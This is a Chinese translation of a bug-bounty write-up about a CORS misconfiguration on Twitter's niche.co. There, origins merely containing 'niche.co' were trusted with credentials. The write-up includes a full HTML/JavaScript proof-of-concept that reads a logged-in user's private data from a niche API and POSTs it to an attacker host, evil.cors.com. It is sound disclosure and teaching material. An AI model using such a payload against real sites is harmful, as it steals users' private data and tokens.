影响Twitter, Facebook 和 Instagram的CORS漏洞

iso60001  1893天前

22.png

大家好,这是我在Medium上发表的第一篇文章。如果你想读我以前的安全文章,可以看我的个人博客

你可能认为我会讲一个很复杂冗长的渗透故事,别紧张,我接下来要讲的只是一个非常简单的跨源资源共享设置出错所导致的漏洞,我是在一个名字为niche的Twitter产品上发现的。

为了理解和利用CORS,你可以阅读@albinowax的博客。

niche是一个分享平台,创作者们可以通过分享他们的创作成果(图片、视频和其他东西)来增加他们的社交存在感。那么,这个应用中最重要资产是什么?

创造者的各类工作成果--他们创造出的图像和视频。

niche的另一个重要功能是,你可以在不同的社交媒体平台(如Facebook、Twitter、Instagram等)同步你发布的帖子。

这并不代表它是创造者的天堂,因为他们所有的创作成果都存放在同一个地方,很不安全。

值得注意的是,niche还会同步用户所有社交平台的私人帖子到它的服务器上(它会在OAuth期间会询问是否要同步内容)。

当我知道了这一点之后,突然意识到或许可以通过niche窥探到其他社交平台上其他用户的帖子。但当我尝试一段时间后,发现运气并不够好。

于是我开始浏览burpsuite中的历史请求,发现很多请求有以下请求头

Access-Control-Allow-Origin:https://niche.co
Access-Control-Allow-Credentials:true

然后我开始尝试在请求中自定义Origin请求头进行攻击,发现服务器只会检查“//niche.co”是否在Origin中。

因此,如果你设置Origin为https://evil.co,那么服务器还是认为Access-Control-Allow-Origin是https://niche.co

但是如果你设置Origin为https://niche.co.evil.net,那么服务器就会认为Access-Control-Allow-Origin是https://niche.co.evil.net

Bingo!

33.png

我接下来还对niche进行了些其他测试,不一会儿就用fuzz发现了一个API接口,它并没有出现在我使用网站的过程中,也没有文档说明,但经过我频繁的尝试,我还是发现了它所有的用法。

结合这个API接口和站点,我可以使用CORS窃取其他用户的任何信息(图片、电子邮件ID、bio、配置文件信息、CSRF令牌等)。

我编写了一个的POC页面,如下:

<html>
<body>
<button type='button' on click='cors()'>CORS</button>
<p id='demo'></p>
<sc ript>
function cors() {
var xhttp = new xm lHttpRequest();
xhttp.on readystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</sc ript>
</body>
</html>

我把以上HTML页面托管在域niche.co.evil.net上,当有人访问它时,如果他们已经登录到niche,那么他们niche.com网站上的所有的私人信息都将转发到我的域名上。

没错,一个简单的CORS漏洞就可以产生巨大的安全威胁,但可惜的是Twitter没给我漏洞赏金,因为他们表示niche不在测试范围中。

虽然我没有从这个渗透测试中得到任何报酬,但我学到了很多关于CORS的知识以及如何设置一个严格的安全策略。这是一次很好的学习经历,对我很重要。

感谢阅读文章!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@nahoragg/a-simple-cors-misconfig-leaked-private-post-of-twitter-facebook-instagram-5f1a634feb9d

最新评论

昵称
邮箱
提交评论